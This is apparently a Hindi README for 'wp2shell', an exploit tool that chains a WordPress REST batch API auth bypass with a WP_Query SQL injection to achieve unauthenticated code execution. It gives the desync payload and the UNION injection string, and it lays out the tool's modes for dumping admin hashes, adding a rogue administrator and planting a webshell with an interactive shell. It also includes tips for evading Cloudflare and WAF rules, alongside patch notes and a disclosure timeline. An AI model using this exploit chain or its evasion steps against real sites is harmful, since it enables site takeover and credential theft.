प्री-ऑथ RCE प्रूफ-ऑफ-कॉन्सेप्ट जो WordPress REST बैच API ऑथ बायपास को WP_Query SQL इंजेक्शन के साथ चेन करता है ताकि हैश डंप किए जा सकें, एडमिन यूज़र जोड़े जा सकें, या वेबशेल प्लांट किया जा सके।
प्री-ऑथ RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
केवल अधिकृत पेनिट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए। लिखित अनुमति के बिना सिस्टम के विरुद्ध इसे चलाना अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते।
wp2shell एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है जो दो स्वतंत्र रूप से रिपोर्ट की गई कमजोरियों को श्रृंखलाबद्ध करके अनपैच्ड WordPress इंस्टॉलेशन पर अनऑथेंटिकेटेड रिमोट कोड एक्जीक्यूशन प्राप्त करता है।
| CVE | घटक | वर्ग | प्रमाणीकरण आवश्यक |
|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Array desync → auth bypass | कोई नहीं |
| CVE-2026-60137 | WP_Query | author__not_in के माध्यम से SQL injection | कोई नहीं (उपरोक्त द्वारा बायपास) |
अंतिम परिणाम: बॉक्स पर एक शेल, एक रोगी प्रशासक खाता, या एक डंप किया गया क्रेडेंशियल हैश — सब कुछ एक ही अनऑथेंटिकेटेड POST अनुरोध से।
प्रभावित संस्करण: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 में ठीक किया गया: WordPress 6.9.5 / 7.0.2 (समन्वित प्रकटीकरण के साथ पैच जारी)
WordPress 5.6 ने /wp-json/batch/v1 पर बैच प्रोसेसिंग एंडपॉइंट पेश किया। यह प्रमाणित REST क्लाइंट को कई सब-रिक्वेस्ट को एक HTTP राउंड-ट्रिप में बंडल करने की अनुमति देता है। प्रत्येक सब-रिक्वेस्ट को WP_REST_Server::serve_batch_request_v1() द्वारा स्वतंत्र रूप से मान्य और प्रेषित किया जाता है।
serve_batch_request_v1() के अंदर (सरलीकृत):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
दोनों सरणियों ($responses और $matches) को सिंक में रहने की अपेक्षा है — प्रति सब-रिक्वेस्ट एक प्रविष्टि, समान इंडेक्स। जब सब-रिक्वेस्ट [0] wp_parse_url() में विफल होता है, तो यह $responses में एक प्रविष्टि जोड़ता है लेकिन $matches में नहीं। पहले लूप के बाद:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
लूप 2 फिर $matches[0] को प्रेषित करता है और परिणाम को $responses[0] में लिखता है। यह request[1] को प्रेषित कर रहा है लेकिन responses में index 0 को अधिलेखित कर रहा है — और महत्वपूर्ण रूप से, यह उस अनुमति संदर्भ का उपयोग करता है जो विफल request[0] की त्रुटि हैंडलिंग के हिस्से के रूप में गणना किया गया था, न कि लक्ष्य एंडपॉइंट के लिए अनुमति संदर्भ।
व्यावहारिक प्रभाव: कोई भी एंडपॉइंट जिसे प्रमाणीकरण की आवश्यकता होती है (जिसमें SQL क्वेरी करने वाले एंडपॉइंट शामिल हैं) को बिना क्रेडेंशियल के कॉल किया जा सकता है।
"path": "://\x00" # triggers wp_parse_url() → false
स्ट्रिंग ://\x00 एक वैध Python स्ट्रिंग है लेकिन PHP के wp_parse_url() रैपर में एक अमान्य URL है (नल बाइट पार्स को विफल कर देता है, WP_Error के बजाय false लौटाता है, जो is_wp_error() गार्ड को बेकार बना देता है — केवल $parsed === false इसे पकड़ता है, और उस बिंदु तक सरणी संरेखण पहले से ही टूट चुका है)।
WP_Query author__not_in SQL Injectionपोस्ट के लिए WordPress REST API (/wp/v2/posts) एक author_exclude क्वेरी पैरामीटर प्रदर्शित करता है जो सीधे WP_Query के author__not_in तर्क से मैप होता है। WP_Query WordPress में लगभग हर सामग्री क्वेरी के लिए उपयोग किया जाने वाला मुख्य डेटाबेस एब्स्ट्रैक्शन है।
WP_Query::parse_query() में (सरलीकृत):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
बाद में WP_Query::get_posts() में:
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
सैनिटाइजेशन केवल तब सक्रिय होता है जब $author__not_in एक सरणी हो। PHP का टाइप सिस्टम यह निर्धारित करता है कि मान कैसे आया:
[1, 2, 3] प्राप्त होता है → is_array() = true → सैनिटाइज्ड"1,2,3" (एक स्ट्रिंग) प्राप्त होता है → is_array() = false → सैनिटाइज्ड नहींREST एंडपॉइंट URL क्वेरी स्ट्रिंग से author_exclude स्वीकार करता है। यह एक स्ट्रिंग के रूप में आता है। WP_Query सैनिटाइजेशन ब्लॉक को छोड़ देता है, और कच्चा मान SQL WHERE क्लॉज में इंटरपोलेट किया जाता है।
इंजेक्शन बिंदु NOT IN (...) संदर्भ के अंदर आता है:
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
चूंकि बैच एंडपॉइंट सब-रिक्वेस्ट को एक बड़े क्वेरी परिणाम के हिस्से के रूप में प्रेषित करता है, UNION पंक्तियाँ REST JSON प्रतिक्रिया बॉडी में वापस आती हैं, जिससे यह एक Boolean/UNION blind-free निष्कर्षण बन जाता है — कोई टाइमिंग नहीं, कोई आउट-ऑफ-बैंड की आवश्यकता नहीं।
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
निर्भरताएँ स्थापित करें:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| मोड | यह क्या करता है |
|---|---|
detect | WP संस्करण फिंगरप्रिंट करें और जांचें कि बैच एंडपॉइंट मौजूद है या नहीं। कोई शोषण नहीं। |
dump | UNION SQLi के माध्यम से प्रशासक का पासवर्ड हैश निकालें। |
adduser | स्टैक्ड INSERT क्वेरी के माध्यम से एक नया प्रशासक खाता बनाएँ। |
shell | SELECT INTO OUTFILE के माध्यम से एक PHP वेबशेल लगाएँ, फिर इंटरैक्टिव शेल में ड्रॉप करें। |
केवल पहचान — स्कोपिंग के दौरान चलाने के लिए सुरक्षित:
python3 wp2shell.py https://target.com --mode detect
एडमिन हैश डंप करें:
python3 wp2shell.py https://target.com --mode dump
डीबग आउटपुट के साथ डंप करें (कच्ची HTTP प्रतिक्रियाएँ दिखाता है — जब WAF शामिल हो तो उपयोगी):
python3 wp2shell.py https://target.com --mode dump --debug
रोगी एडमिन खाता बनाएँ:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
शेल लगाएँ और इंटरैक्टिव प्रॉम्प्ट में ड्रॉप करें:
python3 wp2shell.py https://target.com --mode shell
वन-शॉट कमांड निष्पादन (गैर-इंटरैक्टिव):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
Burp प्रॉक्सी के माध्यम से:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
मौजूदा cf_clearance कुकी के साथ Cloudflare को बायपास करें:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
गैर-डिफ़ॉल्ट टेबल प्रीफिक्स:
python3 wp2shell.py https://target.com --mode dump --prefix staging_
टूल डिफ़ॉल्ट रूप से cloudscraper का उपयोग करता है, जो Chrome TLS फिंगरप्रिंट की नकल करता है और स्वचालित रूप से Cloudflare की JavaScript चुनौती (iuam मोड) को हल करता है। यह Cloudflare के पीछे अधिकांश शेयर्ड-होस्टिंग लक्ष्यों को कवर करता है।
यदि लक्ष्य Cloudflare के बॉट प्रबंधन (__cf_bm) का उपयोग करता है या आपके पास पहले से ही हल की गई चुनौती कुकी है, तो इसे --cookie "cf_clearance=..." के साथ पास करें ताकि इसके बजाय एक सादा requests सत्र उपयोग किया जा सके।
बैच एंडपॉइंट के दो पंजीकृत पथ हैं। WAF नियम अक्सर मानक पथ (/wp-json/batch/v1) को ब्लॉक करते हैं लेकिन लीगेसी क्वेरी-पैराम पथ (/?rest_route=/batch/v1) को चूक जाते हैं। टूल स्वचालित रूप से दोनों की जांच करता है।
[-] Could not extract credentials
--debug के साथ चलाएँ।--prefix के साथ टेबल प्रीफिक्स जांचें। कई इंस्टॉल wp_ (डिफ़ॉल्ट) का उपयोग करते हैं; कुछ कस्टम प्रीफिक्स का उपयोग करते हैं।content.rendered फ़िल्टर किया जा सकता है। इसके बजाय --mode adduser आज़माएँ।[-] OUTFILE failed
SELECT INTO OUTFILE के लिए DB उपयोगकर्ता पर MySQL के FILE विशेषाधिकार की आवश्यकता होती है। यह शेयर्ड होस्टिंग पर सामान्य है लेकिन आमतौर पर क्लाउड/प्रबंधित डेटाबेस (RDS, Cloud SQL, आदि) पर अक्षम होता है।--mode dump का उपयोग करें।[-] Target does not appear vulnerable
GET /wp-json/ और routes कुंजी में /batch/v1 देखें।WordPress 6.9.5 / 7.0.2 ने दोनों CVE को संबोधित किया:
CVE-2026-63030: serve_batch_request_v1() अब मैच डेटा और प्रतिक्रियाओं दोनों के लिए एक एकीकृत सरणी बनाए रखता है, जिससे इंडेक्स डिसिंक समाप्त हो जाता है। विफल अनुरोधों को एकीकृत संरचना में इंडेक्स द्वारा ट्रैक किया जाता है।
CVE-2026-60137: WP_Query::parse_query() अब इनपुट प्रकार की परवाह किए बिना सैनिटाइजेशन से पहले author__not_in को बिना शर्त एक सरणी में कास्ट करता है:
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | स्कोर | वेक्टर |
|---|---|---|
| CVE-2026-63030 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| तारीख | घटना |
|---|---|
| 2026-05-14 | पेनटेस्ट एंगेजमेंट के दौरान CVE-2026-60137 की खोज |
| 2026-05-19 | CVE-2026-63030 की खोज; श्रृंखला प्री-ऑथ RCE के रूप में पुष्टि की गई |
| 2026-05-22 | दोनों CVE HackerOne के माध्यम से WordPress Security Team को रिपोर्ट किए गए |
| 2026-06-03 | WordPress Security Team पुष्टि करता है और पैच विकास शुरू करता है |
| 2026-07-08 | समन्वित प्रकटीकरण के साथ पैच जारी (WP 6.9.5 / 7.0.2) |
| 2026-07-22 | PoC प्रकाशित |
यह टूल केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए प्रदान किया गया है।
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
MIT License — देखें LICENSE